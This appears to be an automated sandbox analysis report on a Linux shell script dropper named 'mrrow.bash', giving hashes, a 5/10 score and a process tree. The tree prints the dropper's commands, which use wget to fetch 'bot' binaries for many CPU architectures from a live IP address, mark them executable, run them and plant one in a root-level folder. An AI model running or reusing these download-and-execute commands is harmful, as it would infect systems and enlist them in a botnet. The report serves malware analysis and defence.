Resubmissions
09-08-2022 19:31
220809-x8ezrafabp 509-08-2022 19:22
220809-x28cqaehdq 509-08-2022 19:21
220809-x2ny3sgec6 5Analysis
-
max time kernel
0s -
max time network
1147s -
platform
linux_amd64 -
resource
ubuntu1804-amd64-en-20211208 -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-en-20211208kernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
09-08-2022 19:31
Static task
static1
Behavioral task
behavioral1
Sample
mrrow.bash
Resource
ubuntu1804-amd64-en-20211208
ubuntu-18.04-amd64
2 signatures
1200 seconds
General
-
Target
mrrow.bash
-
Size
2KB
-
MD5
9486bdff70b6ec6243b012a91e90c21e
-
SHA1
2364e70ee0d49e4e641fa7428958f5907a8c26a3
-
SHA256
2db0ba4efda0653533e32abca1417cafb84f58322dc8d4df183e64771626b826
-
SHA512
e64e2324c403d967d3d04140bb0eba159e57b83db09fdd50e882a8edc595211837505c86c1d44a65d11b9c3a34c0d02496b3c06f264e1175e248397e9716b4bd
Score
5/10
Malware Config
Signatures
-
Reads runtime system information 3 IoCs
Reads data from /proc virtual filesystem.
Processes:
mkdirmvdescription ioc /proc/643/exe /proc/643/exe /proc/filesystems /proc/filesystems mkdir /proc/filesystems /proc/filesystems mv -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes:
mrrow.bashdescription ioc process /tmp/mrrow.bash /tmp/mrrow.bash mrrow.bash
Processes
-
/tmp/mrrow.bash/tmp/mrrow.bash1⤵
- Writes file to tmp directory
-
/usr/bin/wgetwget http://109.206.241.211/bins/bot.mips2⤵
-
/bin/catcat bot.mips2⤵
-
/bin/chmodchmod +x bot.mips fuwwyowo mrrow.bash systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y2⤵
-
./fuwwyowo./fuwwyowo ssh2⤵
-
/usr/bin/wgetwget http://109.206.241.211/bins/bot.mpsl2⤵
-
/bin/catcat bot.mpsl2⤵
-
/bin/chmodchmod +x bot.mips bot.mpsl fuwwyowo mrrow.bash systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y2⤵
-
./fuwwyowo./fuwwyowo ssh2⤵
-
/usr/bin/wgetwget http://109.206.241.211/bins/bot.arm2⤵
-
/bin/catcat bot.arm2⤵
-
/bin/chmodchmod +x bot.arm bot.mips bot.mpsl fuwwyowo mrrow.bash systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y2⤵
-
./fuwwyowo./fuwwyowo ssh2⤵
-
/usr/bin/wgetwget http://109.206.241.211/bins/bot.arm52⤵
-
/bin/catcat bot.arm52⤵
-
/bin/chmodchmod +x bot.arm bot.arm5 bot.mips bot.mpsl fuwwyowo mrrow.bash systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y2⤵
-
./fuwwyowo./fuwwyowo ssh2⤵
-
/usr/bin/wgetwget http://109.206.241.211/bins/bot.arm62⤵
-
/bin/catcat bot.arm62⤵
-
/bin/chmodchmod +x bot.arm bot.arm5 bot.arm6 bot.mips bot.mpsl fuwwyowo mrrow.bash systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y2⤵
-
./fuwwyowo./fuwwyowo ssh2⤵
-
/usr/bin/wgetwget http://109.206.241.211/bins/bot.arm72⤵
-
/bin/catcat bot.arm72⤵
-
/bin/chmodchmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl fuwwyowo mrrow.bash systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y2⤵
-
./fuwwyowo./fuwwyowo ssh2⤵
-
/usr/bin/wgetwget http://109.206.241.211/bins/bot.ppc2⤵
-
/bin/catcat bot.ppc2⤵
-
/bin/chmodchmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl bot.ppc fuwwyowo mrrow.bash systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y2⤵
-
./fuwwyowo./fuwwyowo ssh2⤵
-
/usr/bin/wgetwget http://109.206.241.211/bins/bot.m68k2⤵
-
/bin/catcat bot bot.m68k2⤵
-
/bin/chmodchmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc fuwwyowo mrrow.bash systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y2⤵
-
./fuwwyowo./fuwwyowo ssh2⤵
-
/usr/bin/wgetwget http://109.206.241.211/bins/bot.sh42⤵
-
/bin/catcat bot.sh42⤵
-
/bin/chmodchmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 fuwwyowo mrrow.bash systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y2⤵
-
./fuwwyowo./fuwwyowo ssh2⤵
-
/usr/bin/wgetwget http://109.206.241.211/bins/bot.spc2⤵
-
/bin/catcat bot.spc2⤵
-
/bin/chmodchmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc fuwwyowo mrrow.bash systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y2⤵
-
./fuwwyowo./fuwwyowo ssh2⤵
-
/usr/bin/wgetwget http://109.206.241.211/bins/bot.x86_642⤵
-
/bin/catcat bot.x86_642⤵
-
/bin/chmodchmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc bot.x86_64 fuwwyowo mrrow.bash systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-resolved.service-B6MxME systemd-private-496b361196844d2b906d7a1389c0a1f4-systemd-timesyncd.service-1Gwp5Y2⤵
-
./fuwwyowo./fuwwyowo ssh2⤵
-
/bin/shsh -c "mkdir /vwpq7uxkds/ && >/vwpq7uxkds/vwpq7uxkds && cd /vwpq7uxkds/ >/dev/null"1⤵
-
/bin/mkdirmkdir /vwpq7uxkds/2⤵
- Reads runtime system information
-
/bin/shsh -c "mv /tmp/fuwwyowo /vwpq7uxkds/vwpq7uxkds && chmod 777 /vwpq7uxkds/vwpq7uxkds >/dev/null"1⤵
-
/bin/mvmv /tmp/fuwwyowo /vwpq7uxkds/vwpq7uxkds2⤵
- Reads runtime system information
-
/bin/chmodchmod 777 /vwpq7uxkds/vwpq7uxkds2⤵